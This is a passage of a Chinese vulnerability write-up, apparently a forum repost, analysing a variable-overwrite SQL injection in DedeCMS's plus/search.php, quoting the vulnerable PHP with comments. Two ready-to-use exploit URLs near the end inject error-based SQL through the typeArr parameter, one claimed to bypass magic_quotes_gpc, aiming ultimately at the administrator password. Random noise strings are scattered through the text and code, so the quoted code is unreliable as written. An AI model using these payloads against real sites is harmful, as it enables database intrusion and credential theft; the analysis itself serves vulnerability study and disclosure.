微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋./ [& i) y3 h6 R9 g
作者: c4rp3nt3r@0x50sec.org6 W! ], j6 }3 R0 c0 i. |; f
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码." c6 U( W0 O) ^8 l
3 d9 s. k l8 J; I黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.' e: O7 S, p8 s9 r
# [: q, n, G7 E5 I0 k6 @# R============
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' j# i3 @, B* u2 `Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
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1 n. Q* ~: w2 s; u ^require_once(dirname(__FILE__).”/../include/common.inc.php”);
# {" X6 B9 g) P. erequire_once(DEDEINC.”/arc.searchview.class.php”);
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$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
5 ]2 @+ |' c5 a# H$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;8 z2 ^4 q6 I0 p7 R7 E& b$ z3 \! x
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
3 L, [4 P8 @; O$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;) i- r5 W; U3 A& _, y# E; ]# a$ F. `
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
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0 w) c( N" @1 |& G+ ?! f: A$ x$ {- Lif(!isset($orderby)) $orderby=”;
3 M) o" A. H+ n% C# V T1 aelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);* M6 [! r* |5 X6 X9 x
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' u- ~! a3 e2 L6 yif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
. I d M) F5 a( }% {0 I8 Zelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);" m+ d/ ~# c6 P
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if(!isset($keyword)){: N$ h3 N) D( t6 w6 T
if(!isset($q)) $q = ”;' a& I( ~! ]4 j1 h- q
$keyword=$q;& D. ~% @! g" H+ f$ R m& W
}; |& c4 M5 n: F! ^
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$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
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% A8 `3 e0 ?% S& W& \3 X0 W//查找栏目信息+ g1 S! z. I5 n, K4 z/ ]. e% E( I
if(empty($typeid))
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$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;' l/ M" y N/ ?+ D1 R. L5 ?
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
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$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);8 F' e2 h7 Y% j2 R5 q* J& w
fwrite($fp, “<”.”?php\r\n”);
. H4 {* {( I$ ^! T0 R $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);2 u) q) A* z R( j( ^& E
$dsql->Execute();
9 J: U! Z- O. M while($row = $dsql->GetArray())% ^6 r+ Q1 k- [
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fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);9 ?+ q$ H! i; ~" {9 O6 y# `# ]$ K
}
+ K! Y% w. a" [# e" t fwrite($fp, ‘?’.'>’);1 @6 G7 M; {, B
fclose($fp);! p( [% i) E& Q% k u4 i! c% D4 y
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//引入栏目缓存并看关键字是否有相关栏目内容
9 y: W3 m: K2 u9 Q% R7 \- X! U8 m require_once($typenameCacheFile); ]) m# Q& S0 q: i( p! c6 t& Z/ T# j
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个4 @% V, B: x" J* o
//
2 K3 Z; T1 o% h* j3 B6 ]# T if(isset($typeArr) && is_array($typeArr))
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foreach($typeArr as $id=>$typename)5 {" ~ b+ D' W6 Z/ J
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% c( j/ b5 b0 u4 \) a2 C ^( t, w <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过* n# ^) a% I3 I
if($keyword != $keywordn)
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* i K! i6 x) X; u: ^ $keyword = $keywordn;
; G+ F0 C N( j9 I/ [ <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设; R% A7 P9 N" e0 ]4 j2 n8 Z5 Z9 g R
break;" q% m7 \% M# U3 b; a
}
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}
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然后plus/search.php文件下面定义了一个 Search类的对象 .
3 v. ?+ [# `% k0 o; j8 f在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
2 ^' \* G: b, Z2 [$this->TypeLink = new TypeLink($typeid);
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% z) I4 X5 q* f2 q& _2 z) w# X. NTypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.
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class TypeLink
/ V7 {% A4 F" a* @% f8 B0 c ~- T{
8 \# L* r/ S4 E5 k var $typeDir;
, D% y- h! z3 T4 M' F: i2 f var $dsql;
3 X$ A; v5 [1 @ var $TypeID;
9 E7 v4 t- ?2 d7 l( X* z* R$ x( M var $baseDir;' z! o9 A: c, M/ M" y% G
var $modDir;* ^- h! A$ {" |' O( P5 q' G
var $indexUrl;
' q: h/ ~/ T0 J5 D+ b. r var $indexName;
) U5 L, B3 B' U- F var $TypeInfos;
' E* @; r+ y M! H# h* I var $SplitSymbol;
' K9 Z6 d. |4 Z& w" e& w var $valuePosition;
& P* k& }# I, q" r) g W var $valuePositionName;
$ f0 ]1 \" q) g4 x var $OptionArrayList;//构造函数///////' W. Z6 Y+ w; F; f6 {
//php5构造函数, m3 [; k- d9 P5 w7 K" v
function __construct($typeid); h0 f6 k0 ^9 S& g' ^! ~
{
9 A, Y9 A" g+ x- W $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];( ]$ z% w. a0 L* S
$this->indexName = $GLOBALS['cfg_indexname'];6 x( m5 ~6 k% |" B
$this->baseDir = $GLOBALS['cfg_basedir'];
, A+ V. o0 i; T $this->modDir = $GLOBALS['cfg_templets_dir'];& T0 a% ^( \8 e7 Q! ?. {; o
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];/ U3 Q8 a `; a! R) w9 [7 v
$this->dsql = $GLOBALS['dsql'];
# f1 D# L( T( \ $this->TypeID = $typeid;9 a; f6 W4 e( N. o# r
$this->valuePosition = ”;
, J- J. O# u. B $this->valuePositionName = ”;! U* h( |; s& X8 }. O3 E
$this->typeDir = ”;
9 t% J& n5 G! m6 j3 r; g: g2 [- u $this->OptionArrayList = ”; h6 i2 ^. A0 |. m t- Y' {
3 Z4 c! e0 ?) o4 h U! J* W //载入类目信息
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<font color=”Red”>$query = “SELECT tp.*,ch.typename as; W; W: m) }3 L+ X; m7 w
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
& A9 x& F- m- c+ u! @) l`#@__channeltype` ch
/ Q: d* N' l' }5 j" \ on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
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if($typeid > 0)1 O4 G3 G; R3 M+ p2 h
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$this->TypeInfos = $this->dsql->GetOne($query);
: R1 T7 y. S( t9 v2 K利用代码一 需要 即使magic_quotes_gpc = Off# e( t! \! P8 A7 |; f; m
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www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title8 B0 B3 f* {" ~% ]$ i: B
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这只是其中一个利用代码… Search 类的构造函数再往下. J# Y* d& l. M/ O( x
+ F' M7 Y$ N w1 c( c……省略" |0 R2 S9 Y* i b" V
$this->TypeID = $typeid;9 n0 A$ _, C$ v+ H7 D
……省略
5 {6 [8 v. C# }* e5 f, { d5 Pif($this->TypeID==”0″){
: i) @* r$ R9 ? $this->ChannelTypeid=1;
+ o7 r6 d* Z* w& Y }else{
7 Y8 ?; x2 f& j8 l: a, {% x $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲) ~$ X$ D8 M/ X" ~4 F5 n
//现在不鸡肋了吧亲…
# Z$ A/ |3 V+ ^ $this->ChannelTypeid=$row['channeltype'];/ T+ t% Z. q' A) I
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利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.0 v( k: L: K! n. U3 X4 M2 j
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www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
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如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站 D$ | q8 W8 ^" ^2 ?
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